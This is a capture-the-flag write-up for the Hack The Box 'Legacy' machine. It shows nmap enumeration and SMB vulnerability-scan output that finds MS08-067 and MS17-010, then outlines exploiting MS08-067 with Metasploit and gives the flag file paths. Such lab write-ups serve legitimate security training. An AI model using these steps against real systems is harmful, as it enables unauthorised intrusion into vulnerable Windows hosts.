Legacy
Legacy
Machine Information
Legacy is a fairly straightforward beginner-level machine which demonstrates the potential security risks of SMB on Windows. Only one publicly available exploit is required to obtain administrator access.
Writeup
Enumeration
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nmap -sCV -T5 10.129.227.181
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2025-06-06T06:51:22+03:00
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b0:ed:44 (VMware)
|_clock-skew: mean: 5d00h27m38s, deviation: 2h07m16s, median: 4d22h57m38s
We can see port 445 (SMB) is opened, now we need to search fot its vulnerabilities.
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nmap -T5 10.129.227.181 --script=smb-vuln* -p 445
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
We can see that we have 2 RCE vulnerabilities (2008 and 2017), now we search it in metaploit.
Exploit
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search cve-2008-4250
Modify RHOST and LHOST then run.
After getting in the target’s machine, use getuid to see who we are.
User & Root Flag
Get user’s flag at C:\Documents and Settings\john\Desktop\user.txt
Get user’s flag at C:\Documents and Settings\Administrator\Desktop\root.txt